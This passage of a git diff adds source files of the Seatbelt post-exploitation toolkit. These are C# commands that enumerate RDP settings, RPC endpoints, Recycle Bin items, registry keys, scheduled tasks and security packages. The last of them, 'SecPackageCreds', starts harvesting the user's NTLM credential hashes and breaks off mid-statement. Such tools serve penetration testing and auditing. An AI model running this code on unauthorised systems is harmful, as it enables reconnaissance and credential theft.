+ public uint? BlockComPortRedirection { get; } + public uint? BlockDriveRedirection { get; } + public uint? BlockLptPortRedirection { get; } + public uint? AllowSmartCardRedirection { get; } + public uint? BlockPnPDeviceRedirection { get; } + public uint? BlockPrinterRedirection { get; } + + } + + internal class RDPSettingsDTO : CommandDTOBase + { + public RDPSettingsDTO(RDPClientSettings clientSettings, RDPServerSettings serverSettings) + { + ClientSettings = clientSettings; + ServerSettings = serverSettings; + } + public RDPClientSettings ClientSettings { get; } + public RDPServerSettings ServerSettings { get; } + } + + [CommandOutputType(typeof(RDPSettingsDTO))] + internal class RDPSettingsFormatter : TextFormatterBase + { + public RDPSettingsFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (RDPSettingsDTO)result; + string str; + + var server = dto.ServerSettings; + WriteLine("RDP Server Settings:"); + WriteLine($" NetworkLevelAuthentication: {server.NetworkLevelAuthentication}"); + WriteLine($" BlockClipboardRedirection: {server.BlockClipboardRedirection}"); + WriteLine($" BlockComPortRedirection: {server.BlockComPortRedirection}"); + WriteLine($" BlockDriveRedirection: {server.BlockDriveRedirection}"); + WriteLine($" BlockLptPortRedirection: {server.BlockLptPortRedirection}"); + WriteLine($" BlockPnPDeviceRedirection: {server.BlockPnPDeviceRedirection}"); + WriteLine($" BlockPrinterRedirection: {server.BlockPrinterRedirection}"); + WriteLine($" AllowSmartCardRedirection: {server.AllowSmartCardRedirection}"); + + WriteLine("\nRDP Client Settings:"); + WriteLine($" DisablePasswordSaving: {dto.ClientSettings.DisablePasswordSaving}"); + WriteLine($" RestrictedRemoteAdministration: {dto.ClientSettings.RestrictedRemoteAdministration}"); + + var type = dto.ClientSettings.RestrictedRemoteAdministrationType; + + if (type != null) + { + if (type == 1) + str = "Require Restricted Admin Mode"; + else if (type == 2) + str = "Require Remote Credential Guard"; + else if (type == 3) + str = "Require Restricted Admin or Remote Credential Guard"; + else + str = $"{type} - Unknown, please report this"; + + WriteLine($" RestrictedRemoteAdministrationType: {str}"); + } + + var level = dto.ClientSettings.ServerAuthLevel; + if (level != null) + { + if (level == 1) + str = "Require Restricted Admin Mode"; + else if (level == 2) + str = "Require Remote Credential Guard"; + else if (level == 3) + str = "Require Restricted Admin or Remote Credential Guard"; + else + str = $"Unknown, please report this"; + + WriteLine($" ServerAuthenticationLevel: {level} - {str}"); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RPCMappedEndpointsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RPCMappedEndpointsCommand.cs new file mode 100644 index 0000000..4bf0153 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RPCMappedEndpointsCommand.cs @@ -0,0 +1,179 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using Seatbelt.Output.Formatters; +using static Seatbelt.Interop.Rpcrt4; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class RPCMappedEndpointsCommand : CommandBase + { + public override string Command => "RPCMappedEndpoints"; + public override string Description => "Current RPC endpoints mapped"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; + + public RPCMappedEndpointsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // Ref - https://stackoverflow.com/questions/21805038/how-do-i-pinvoke-rpcmgmtepeltinqnext + + uint retCode; // RPC_S_OK + uint status; // RPC_S_OK + + var bindingHandle = IntPtr.Zero; + var inquiryContext = IntPtr.Zero; + var ifId = new RPC_IF_ID(); + string host = null; + + if (args.Length >= 1) + { + // if we're specifying a remote host via arguments + host = args[0]; + } + + try + { + // built the RPC binding string we're going to use + retCode = RpcStringBindingCompose(null, "ncacn_ip_tcp", host, null, null, out var stringBinding); + if (retCode != 0) + { + WriteError($"Bad return value from RpcStringBindingCompose : {retCode}"); + yield break; + } + + // create the actual RPC binding (from the binding string) + retCode = RpcBindingFromStringBinding(stringBinding, out bindingHandle); + if (retCode != 0) + { + WriteError($"Bad return value from RpcBindingFromStringBinding : {retCode}"); + yield break; + } + + // create an inquiry context for viewing the elements in an endpoint map + retCode = RpcMgmtEpEltInqBegin(bindingHandle, 0, 0, 0, 0, out inquiryContext); + if (retCode != 0) + { + WriteError($"Bad return value from RpcMgmtEpEltInqBegin : {retCode}"); + yield break; + } + + var prev = new Guid(); + var result = new RPCMappedEndpointsDTO(); + result.Elements = new List(); + + do + { + // iterate through all of the elements in the RPC endpoint map + status = RpcMgmtEpEltInqNext(inquiryContext, ref ifId, out var elementBindingHandle, 0, out var elementAnnotation); + + if (status == 0) + { + if (ifId.Uuid != prev) + { + if (prev != new Guid()) + { + + var result2 = new RPCMappedEndpointsDTO(); + result2 = result; + result = new RPCMappedEndpointsDTO(); + result.Elements = new List(); + + yield return result2; + } + + var annotation = Marshal.PtrToStringAuto(elementAnnotation); + result.UUID = ifId.Uuid; + result.Annotation = annotation; + + if (!String.IsNullOrEmpty(annotation)) + { + RpcStringFree(ref elementAnnotation); + } + + prev = ifId.Uuid; + } + if (elementBindingHandle != IntPtr.Zero) + { + var stringBinding2 = IntPtr.Zero; + status = RpcBindingToStringBinding(elementBindingHandle, out stringBinding2); + + if (status == 0) + { + var stringBindingStr = Marshal.PtrToStringAuto(stringBinding2); + result.Elements.Add(stringBindingStr); + + RpcStringFree(ref stringBinding2); + RpcBindingFree(ref elementBindingHandle); + } + else + { + // throw new Exception("[X] RpcBindingToStringBinding: " + retCode); + } + } + } + } + while (status == 0); + + yield return result; + } + finally + { + retCode = RpcMgmtEpEltInqDone(ref inquiryContext); + if (retCode != 0) + { + WriteError($"Bad return value from RpcMgmtEpEltInqDone : {retCode}"); + } + + retCode = RpcBindingFree(ref bindingHandle); + if (retCode != 0) + { + WriteError($"Bad return value from RpcBindingFree : {retCode}"); + } + } + } + } + + internal class RPCMappedEndpointsDTO : CommandDTOBase + { + public Guid UUID { get; set; } + + public string Annotation { get; set; } + + public List Elements { get; set; } + } + + [CommandOutputType(typeof(RPCMappedEndpointsDTO))] + internal class RPCMappedEndpointsTextFormatter : TextFormatterBase + { + public RPCMappedEndpointsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (RPCMappedEndpointsDTO)result; + + if (!String.IsNullOrEmpty(dto.Annotation)) + { + WriteLine(" UUID: {0} ({1})", dto.UUID, dto.Annotation); + } + else + { + WriteLine(" UUID: {0}", dto.UUID); + } + + foreach (var element in dto.Elements) + { + WriteLine(" {0}", element); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RecycleBinCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RecycleBinCommand.cs new file mode 100644 index 0000000..2586491 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RecycleBinCommand.cs @@ -0,0 +1,92 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Seatbelt.Commands.Windows +{ + internal class RecycleBinCommand : CommandBase + { + public override string Command => "RecycleBin"; + public override string Description => "Items in the Recycle Bin deleted in the last 30 days - only works from a user context!"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; // not possible + + public RecycleBinCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // lists recently deleted files (needs to be run from a user context!) + + // Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files + WriteHost("Recycle Bin Files Within the last 30 Days\n"); + + var lastDays = 30; + + var startTime = DateTime.Now.AddDays(-lastDays); + + // Shell COM object GUID + var shell = Type.GetTypeFromProgID("Shell.Application"); + var shellObj = Activator.CreateInstance(shell); + + // namespace for recycle bin == 10 - https://msdn.microsoft.com/en-us/library/windows/desktop/bb762494(v=vs.85).aspx + var recycle = shellObj.GetType().InvokeMember("Namespace", BindingFlags.InvokeMethod, null, shellObj, new object[] { 10 }); + // grab all the deletes items + var items = recycle.GetType().InvokeMember("Items", BindingFlags.InvokeMethod, null, recycle, null); + // grab the number of deleted items + var count = items.GetType().InvokeMember("Count", BindingFlags.GetProperty, null, items, null); + var deletedCount = int.Parse(count.ToString()); + + // iterate through each item + for (var i = 0; i < deletedCount; i++) + { + // grab the specific deleted item + var item = items.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, items, new object[] { i }); + var DateDeleted = item.GetType().InvokeMember("ExtendedProperty", BindingFlags.InvokeMethod, null, item, new object[] { "System.Recycle.DateDeleted" }); + var modifiedDate = DateTime.Parse(DateDeleted.ToString()); + if (modifiedDate > startTime) + { + // additional extended properties from https://blogs.msdn.microsoft.com/oldnewthing/20140421-00/?p=1183 + var Name = item.GetType().InvokeMember("Name", BindingFlags.GetProperty, null, item, null); + var Path = item.GetType().InvokeMember("Path", BindingFlags.GetProperty, null, item, null); + var Size = item.GetType().InvokeMember("Size", BindingFlags.GetProperty, null, item, null); + var DeletedFrom = item.GetType().InvokeMember("ExtendedProperty", BindingFlags.InvokeMethod, null, item, new object[] { "System.Recycle.DeletedFrom" }); + + yield return new RecycleBinDTO() + { + Name = Name.ToString(), + Path = Path.ToString(), + Size = (int)Size, + DeletedFrom = DeletedFrom.ToString(), + DateDeleted = (DateTime)DateDeleted + }; + } + + Marshal.ReleaseComObject(item); + item = null; + } + + Marshal.ReleaseComObject(recycle); + recycle = null; + Marshal.ReleaseComObject(shellObj); + shellObj = null; + } + + internal class RecycleBinDTO : CommandDTOBase + { + public string Name { get; set; } + + public string Path { get; set; } + + public int Size { get; set; } + + public string DeletedFrom { get; set; } + + public DateTime DateDeleted { get; set; } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RegistryValueCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RegistryValueCommand.cs new file mode 100644 index 0000000..c9f31c5 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RegistryValueCommand.cs @@ -0,0 +1,215 @@ +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; + + +namespace Seatbelt.Commands.Windows +{ + // TODO: Handle x64 vs x86 hives + internal class RegistryValueCommand : CommandBase + { + public override string Command => "reg"; + public override string Description => @"Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; // TODO remote, but will take some work + + //private string _rootKey; + //private string _rootParentKey; + + public RegistryValueCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var hive = RegistryHive.LocalMachine; + var keyPath = "Software"; + var depth = 0; + var regex = new Regex("."); + var ignoreErrors = true; + var computer = ""; + + if (args.Length == 0) + { + depth = 1; + regex = new Regex("default"); + } + if (args.Length >= 1) + { + var separatorPos = args[0].IndexOf("\\"); + if (separatorPos == -1) // e.g. HKLM + { + hive = RegistryUtil.GetHive(args[0]); + keyPath = ""; + } + else if (separatorPos == args[0].Length) // e.g. HKLM\ + { + var hiveStr = args[0].Substring(0, separatorPos); + hive = RegistryUtil.GetHive(hiveStr); + keyPath = ""; + } + else // e.g. HKLM\Software + { + var hiveStr = args[0].Substring(0, separatorPos); + hive = RegistryUtil.GetHive(hiveStr); + keyPath = args[0].Substring(separatorPos + 1); + } + + + } + if (args.Length >= 2) + { + if (!int.TryParse(args[1], out depth)) + { + WriteError("Could not parse depth argument"); + } + } + if (args.Length >= 3) { regex = new Regex(args[2], RegexOptions.IgnoreCase); } + if (args.Length >= 4) { ignoreErrors = bool.Parse(args[3]); } + if (args.Length >= 5) { computer = args[4]; } + + + foreach (var output in EnumerateRootKey(computer, hive, keyPath, regex, depth, ignoreErrors)) + { + yield return output; + } + } + + private IEnumerable EnumerateRootKey(string computer, RegistryHive hive, string keyPath, Regex regex, int depth, bool ignoreErrors) + { + using var rootHive = RegistryKey.OpenRemoteBaseKey(hive, computer); + using var key = rootHive.OpenSubKey(keyPath); + + foreach (var output in EnumerateRegistryKey(key, regex, depth, ignoreErrors)) + { + yield return output; + } + } + + private IEnumerable EnumerateRegistryKey(RegistryKey key, Regex regex, int depth, bool ignoreErrors) + { + if (key == null) + { + throw new Exception("NullRegistryHive"); + } + + if (depth < 0) + { + yield break; + } + + var outputKeyPath = key.ToString() + .Replace("HKEY_LOCAL_MACHINE", "HKLM") + .Replace("HKEY_CURRENT_USER", "HKCU") + .Replace("HKEY_CLASSES_ROOT", "HKCR") + .Replace("HKEY_USERS", "HKU"); + + // 1) Handle key values + // Get the default value since GetValueNames doesn't always return it + var defaultValue = key.GetValue(""); + if (regex.IsMatch("default") || (regex.IsMatch(outputKeyPath) || (defaultValue != null && regex.IsMatch($"{defaultValue}")))) + { + yield return new RegistryValueDTO( + outputKeyPath, + "(default)", + defaultValue, + RegistryValueKind.String + ); + } + + foreach (var valueName in key.GetValueNames()) + { + if (valueName == null || valueName == "") + continue; + + var valueKind = key.GetValueKind(valueName); + var value = key.GetValue(valueName); + + // Skip the default value and non-matching valueNames + if (regex.IsMatch(valueName) || regex.IsMatch($"{value}")) + { + yield return new RegistryValueDTO( + outputKeyPath, + valueName, + value, + valueKind + ); + } + } + + // 2) Handle subkeys + foreach (var subkeyName in key.GetSubKeyNames()) + { + RegistryKey? subkey = null; + try + { + subkey = key.OpenSubKey(subkeyName); + } + catch (Exception e) + { + if (!ignoreErrors) + { + throw new Exception($"Error accessing {(key + "\\" + subkeyName)}: " + e); + } + } + + if (subkey == null) + continue; + + foreach (var result in EnumerateRegistryKey(subkey, regex, (depth - 1), ignoreErrors)) + { + yield return result; + } + } + } + } + + public class RegistryValueDTO : CommandDTOBase + { + public RegistryValueDTO(string key, string valueName, object value, object valueKind) + { + Key = key; + ValueName = valueName; + Value = value; + ValueKind = valueKind; + } + public string Key { get; } + public string ValueName { get; } + public object Value { get; } + public object ValueKind { get; } + } + + [CommandOutputType(typeof(RegistryValueDTO))] + internal class RegistryValueTextFormatter : TextFormatterBase + { + public RegistryValueTextFormatter(ITextWriter writer) : base(writer) + { + } + + //WriteLine("Registry Values"); + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + if (result == null) + { + return; + } + + var dto = (RegistryValueDTO)result; + + if ((int)dto.ValueKind == (int)RegistryValueKind.MultiString) + { + var values = (string[])dto.Value; + WriteLine($"{dto.Key} ! {dto.ValueName} :\n{String.Join("\n", values)}"); + } + else + { + WriteLine($"{dto.Key} ! {dto.ValueName} : {dto.Value}"); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ScheduledTasksCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ScheduledTasksCommand.cs new file mode 100644 index 0000000..944cd7d --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ScheduledTasksCommand.cs @@ -0,0 +1,352 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Management; +using System.Text.RegularExpressions; +using static Seatbelt.Interop.Secur32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + enum StateEnum + { + Unknown = 0, + Disabled = 1, + Queued = 2, + Ready = 3, + Running = 4 + }; + + enum RunlevelEnum + { + TASK_RUNLEVEL_LUA = 0, + TASK_RUNLEVEL_HIGHEST = 1 + } + + class ScheduledTaskPrincipal + { + public string DisplayName { get; set; } + public string GroupId { get; set; } + public string Id { get; set; } + public string LogonType { get; set; } + //public string ProcessTokenSidType { get; set; } + //public string RequiredPrivilege { get; set; } + public string RunLevel { get; set; } + public string UserId { get; set; } + } + + class ScheduledTaskTrigger + { + public object Type { get; set; } + public object Enabled { get; set; } + public object EndBoundary { get; set; } + public object ExecutionTimeLimit { get; set; } + public object StartBoundary { get; set; } + public object Duration { get; set; } + public object Interval { get; set; } + public object StopAtDurationEnd { get; set; } + public Dictionary Properties { get; set; } + } + + class ScheduledTaskAction + { + public object Type { get; set; } + + public object Id { get; set; } + + public Dictionary Properties { get; set; } + } + + internal class ScheduledTasksCommand : CommandBase + { + public override string Command => "ScheduledTasks"; + //public override string Description => "ScheduledTasks (via WMI)"; + public override string Description => "Scheduled tasks (via WMI) that aren't authored by 'Microsoft', \"-full\" dumps all Scheduled tasks"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ScheduledTasksCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + WriteHost(Runtime.FilterResults ? "Non Microsoft scheduled tasks (via WMI)\n" : "All scheduled tasks (via WMI)\n"); + + ManagementObjectCollection data = null; + + try + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"Root\Microsoft\Windows\TaskScheduler", "SELECT * FROM MSFT_ScheduledTask"); + data = wmiData.Get(); + } + catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace) + { + WriteError(string.Format(" [X] 'MSFT_ScheduledTask' WMI class unavailable (minimum supported versions of Windows: 8/2012)", ex.Message)); + } + catch (Exception ex) + { + WriteError(ex.ToString()); + } + + + if (data == null) + { + yield break; + } + + foreach (var o in data) + { + var result = (ManagementObject)o; + + if (Runtime.FilterResults) + { + if (Regex.IsMatch($"{result["Author"]}", "Microsoft")) + { + continue; + } + } + + var tempPrincipal = (ManagementBaseObject)result["Principal"]; + var settings = (ManagementBaseObject)result["Settings"]; + var actions = (ManagementBaseObject[])result["Actions"]; + var triggers = (ManagementBaseObject[])result["Triggers"]; + + var Principal = new ScheduledTaskPrincipal(); + Principal.DisplayName = $"{tempPrincipal["DisplayName"]}"; + Principal.Id = $"{tempPrincipal["Id"]}"; + Principal.GroupId = $"{tempPrincipal["GroupId"]}"; + var tempLogonType = $"{tempPrincipal["LogonType"]}"; + Principal.LogonType = $"{(SECURITY_LOGON_TYPE)Int32.Parse(tempLogonType)}"; + //Principal.ProcessTokenSidType = $"{tempPrincipal["ProcessTokenSidType"]}"; + //Principal.RequiredPrivilege = $"{tempPrincipal["RequiredPrivilege"]}"; + var tempRunLevel = $"{tempPrincipal["RunLevel"]}"; + Principal.RunLevel = $"{(RunlevelEnum)Int32.Parse(tempRunLevel)}"; + Principal.UserId = $"{tempPrincipal["UserId"]}"; + + var Actions = new List(); + foreach (var obj in actions) + { + var action = new ScheduledTaskAction(); + action.Type = $"{obj.SystemProperties["__SUPERCLASS"].Value}"; + + var Properties = new Dictionary(); + + foreach (var prop in obj.Properties) + { + if (!prop.Name.Equals("PSComputerName")) + { + Properties[prop.Name] = prop.Value; + } + } + action.Properties = Properties; + + Actions.Add(action); + } + + var TriggerObjects = new List(); + if (triggers != null) + { + foreach (var obj in triggers) + { + var trigger = new ScheduledTaskTrigger(); + trigger.Type = $"{obj.SystemProperties["__CLASS"].Value}"; + + // MSFT_TaskTrigger base properties + trigger.Enabled = obj["Enabled"]; + trigger.EndBoundary = obj["EndBoundary"]; + trigger.ExecutionTimeLimit = obj["ExecutionTimeLimit"]; + trigger.StartBoundary = obj["StartBoundary"]; + + var repetitionobj = (ManagementBaseObject)obj["repetition"]; + trigger.Duration = repetitionobj["Duration"]; + trigger.Interval = repetitionobj["Interval"]; + trigger.StopAtDurationEnd = repetitionobj["StopAtDurationEnd"]; + + // additional properties for subclasses + var properties = new Dictionary(); + foreach (var prop in obj.Properties) + { + //if(prop.Name + if (!Regex.IsMatch($"{prop.Name}", "Id|Enabled|EndBoundary|ExecutionTimeLimit|StartBoundary|Repetition")) + { + properties.Add(prop.Name, $"{prop.Value}"); + } + } + trigger.Properties = properties; + + TriggerObjects.Add(trigger); + } + } + + yield return new ScheduledTasksDTO() + { + Name = result["TaskName"], + Principal = Principal, + Author = result["Author"], + Description = result["Description"], + Source = result["Source"], + State = (StateEnum)result["State"], + SDDL = result["SecurityDescriptor"], + Actions = Actions, + Triggers = TriggerObjects, + Enabled = settings["Enabled"], + TaskPath = result["TaskPath"], + Hidden = settings["Hidden"], + Date = result["Date"], + AllowDemandStart = settings["AllowDemandStart"], + AllowHardTerminate = settings["AllowHardTerminate"], + DisallowStartIfOnBatteries = settings["DisallowStartIfOnBatteries"], + ExecutionTimeLimit = settings["ExecutionTimeLimit"], + StopIfGoingOnBatteries = settings["StopIfGoingOnBatteries"] + }; + } + + data.Dispose(); + } + } + + internal class ScheduledTasksDTO : CommandDTOBase + { + public object Name { get; set; } + + public ScheduledTaskPrincipal Principal { get; set; } + + public object Author { get; set; } + + public object Description { get; set; } + + public object Source { get; set; } + + public object State { get; set; } + + public object SDDL { get; set; } + + public List Actions { get; set; } + + public List Triggers { get; set; } + + public object Enabled { get; set; } + + public object TaskPath { get; set; } + + public object Hidden { get; set; } + + public object Date { get; set; } + + public object AllowDemandStart { get; set; } + + public object AllowHardTerminate { get; set; } + + public object DisallowStartIfOnBatteries { get; set; } + + public object ExecutionTimeLimit { get; set; } + + public object StopIfGoingOnBatteries { get; set; } + } + + [CommandOutputType(typeof(ScheduledTasksDTO))] + internal class ScheduledTasksFormatter : TextFormatterBase + { + public ScheduledTasksFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ScheduledTasksDTO)result; + + WriteLine(" {0,-30} : {1}", "Name", dto.Name); + + WriteLine(" {0,-30} :", "Principal"); + //WriteLine(" {0,-30}: {1}", "DisplayName", dto.Principal.DisplayName); + WriteLine(" {0,-30}: {1}", "GroupId", dto.Principal.GroupId); + WriteLine(" {0,-30}: {1}", "Id", dto.Principal.Id); + WriteLine(" {0,-30}: {1}", "LogonType", dto.Principal.LogonType); + WriteLine(" {0,-30}: {1}", "RunLevel", dto.Principal.RunLevel); + WriteLine(" {0,-30}: {1}", "UserId", dto.Principal.UserId); + + WriteLine(" {0,-30} : {1}", "Author", dto.Author); + WriteLine(" {0,-30} : {1}", "Description", dto.Description); + WriteLine(" {0,-30} : {1}", "Source", dto.Source); + WriteLine(" {0,-30} : {1}", "State", dto.State); + WriteLine(" {0,-30} : {1}", "SDDL", dto.SDDL); + //WriteLine(" {0,-30} : {1}", "Actions", dto.State); + WriteLine(" {0,-30} : {1}", "Enabled", dto.Enabled); + WriteLine(" {0,-30} : {1}", "Date", (DateTime)Convert.ToDateTime(dto.Date)); + WriteLine(" {0,-30} : {1}", "AllowDemandStart", dto.AllowDemandStart); + //WriteLine(" {0,-30} : {1}", "AllowHardTerminate", dto.AllowHardTerminate); + WriteLine(" {0,-30} : {1}", "DisallowStartIfOnBatteries", dto.DisallowStartIfOnBatteries); + WriteLine(" {0,-30} : {1}", "ExecutionTimeLimit", dto.ExecutionTimeLimit); + WriteLine(" {0,-30} : {1}", "StopIfGoingOnBatteries", dto.StopIfGoingOnBatteries); + + WriteLine(" {0,-30} :", "Actions"); + WriteLine(" ------------------------------"); + foreach (var action in dto.Actions) + { + //WriteLine(" {0,-30}: {1}", "Id", action.Id); + WriteLine(" {0,-30}: {1}", "Type", action.Type); + foreach (var kvp in (Dictionary)action.Properties) + { + if (!String.IsNullOrEmpty($"{kvp.Value}")) + { + WriteLine(" {0,-30}: {1}", kvp.Key, kvp.Value); + } + } + WriteLine(" ------------------------------"); + } + + WriteLine(" {0,-30} :", "Triggers"); + WriteLine(" ------------------------------"); + foreach (var trigger in dto.Triggers) + { + WriteLine(" {0,-30}: {1}", "Type", trigger.Type); + WriteLine(" {0,-30}: {1}", "Enabled", trigger.Enabled); + if (!String.IsNullOrEmpty($"{trigger.StartBoundary}")) + { + WriteLine(" {0,-30}: {1}", "StartBoundary", trigger.StartBoundary); + } + if (!String.IsNullOrEmpty($"{trigger.EndBoundary}")) + { + WriteLine(" {0,-30}: {1}", "EndBoundary", trigger.EndBoundary); + } + if (!String.IsNullOrEmpty($"{trigger.ExecutionTimeLimit}")) + { + WriteLine(" {0,-30}: {1}", "ExecutionTimeLimit", trigger.ExecutionTimeLimit); + } + if (!String.IsNullOrEmpty($"{trigger.Duration}")) + { + WriteLine(" {0,-30}: {1}", "Duration", trigger.Duration); + } + if (!String.IsNullOrEmpty($"{trigger.Interval}")) + { + WriteLine(" {0,-30}: {1}", "Interval", trigger.Interval); + } + if (!String.IsNullOrEmpty($"{trigger.StopAtDurationEnd}")) + { + WriteLine(" {0,-30}: {1}", "StopAtDurationEnd", trigger.StopAtDurationEnd); + } + + if (trigger.Properties != null) + { + foreach (var kvp in trigger.Properties) + { + if (!String.IsNullOrEmpty(kvp.Value)) + { + WriteLine(" {0,-30}: {1}", kvp.Key, kvp.Value); + } + } + } + + WriteLine(" ------------------------------"); + } + + WriteLine(); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/SecurityPackagesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/SecurityPackagesCommand.cs new file mode 100644 index 0000000..1140190 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/SecurityPackagesCommand.cs @@ -0,0 +1,70 @@ +#nullable disable +using System; +using System.Collections.Generic; +using static Seatbelt.Interop.Secur32; +using System.Runtime.InteropServices; + +namespace Seatbelt.Commands.Windows +{ + internal class SecurityPackagesCommand : CommandBase + { + public override string Command => "SecurityPackages"; + public override string Description => "Enumerates the security packages currently available using EnumerateSecurityPackagesA()"; + public override CommandGroup[] Group => new[] {CommandGroup.Misc}; + public override bool SupportRemote => false; // not possible + + public SecurityPackagesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // this code was partially adapted from Chris Haas' post at https://stackoverflow.com/a/5941873 + + WriteHost("Security Packages\n\n"); + + var securityPackages = new List(); + + var ret = EnumerateSecurityPackages(out var pcPackages, out var ppPackageInfo); + + var ppPackageInfoItr = ppPackageInfo; + + for (ulong i = 0; i < pcPackages; i++) + { + var packageInfo = (SecPkgInfo)Marshal.PtrToStructure(ppPackageInfoItr, typeof(SecPkgInfo)); + + var securityPackage = new SecurityPackagesDTO() + { + Name = packageInfo.Name.ToString(), + Comment = packageInfo.Comment.ToString(), + Capabilities = packageInfo.fCapabilities, + MaxToken = packageInfo.cbMaxToken, + RPCID = packageInfo.wRPCID, + Version = packageInfo.wVersion + }; + + securityPackages.Add(securityPackage); + + ppPackageInfoItr = (IntPtr)((long)ppPackageInfoItr.ToInt64() + Marshal.SizeOf(typeof(SecPkgInfo))); + } + + foreach (var securityPackage in securityPackages) + { + yield return securityPackage; + } + + FreeContextBuffer(ppPackageInfo); + } + + internal class SecurityPackagesDTO : CommandDTOBase + { + public string Name { get; set; } + public string Comment { get; set; } + public SECPKG_FLAGS Capabilities { get; set; } + public uint MaxToken { get; set; } + public short RPCID { get; set; } + public short Version { get; set; } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/SecurityPackagesCredentialsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/SecurityPackagesCredentialsCommand.cs new file mode 100644 index 0000000..9f60d2f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/SecurityPackagesCredentialsCommand.cs @@ -0,0 +1,277 @@ +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using System.Text; +using Seatbelt.Interop; +using static Seatbelt.Interop.Secur32; + +namespace Seatbelt.Commands.Windows +{ + // Heavily based on code from Internal Monologue - https://github.com/eladshamir/Internal-Monologue/blob/85134e4ebe5ea9e7f6b39d4b4ad467e40a0c9eca/InternalMonologue/InternalMonologue.cs#L465-L827 + internal class SecurityPackagesCredentialsCommand : CommandBase + { + public override string Command => "SecPackageCreds"; + public override string Description => "Obtains credentials from security packages"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // obviously not possible + public Runtime ThisRunTime; + + private const int MAX_TOKEN_SIZE = 12288; + private const uint SEC_E_OK = 0; + private const uint SEC_E_NO_CREDENTIALS = 0x8009030e; + private const uint SEC_I_CONTINUE_NEEDED = 0x90312; + + + public SecurityPackagesCredentialsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var challenge = "1122334455667788"; + if (args.Length > 0) + challenge = args[0]; + + yield return GetNtlmCreds(challenge, true); + } + + private NtlmHashDTO? GetNtlmCreds(string challenge, bool DisableESS) + { + var clientToken = new SecBufferDesc(MAX_TOKEN_SIZE); + var newClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); + var serverToken = new SecBufferDesc(MAX_TOKEN_SIZE); + + SECURITY_HANDLE cred; + cred.LowPart = cred.HighPart = IntPtr.Zero; + + SECURITY_HANDLE clientContext; + clientContext.LowPart = clientContext.HighPart = IntPtr.Zero; + + SECURITY_HANDLE newClientContext; + newClientContext.LowPart = newClientContext.HighPart = IntPtr.Zero; + + SECURITY_HANDLE serverContext; + serverContext.LowPart = serverContext.HighPart = IntPtr.Zero; + + SECURITY_INTEGER clientLifeTime; + clientLifeTime.LowPart = clientLifeTime.HighPart = IntPtr.Zero; + + try + { + // Acquire credentials handle for current user + var result = Secur32.AcquireCredentialsHandle( + IntPtr.Zero, + "NTLM", + 3, + IntPtr.Zero, + IntPtr.Zero, + 0, + IntPtr.Zero, + ref cred, + ref clientLifeTime + ); + if (result != SEC_E_OK) + throw new 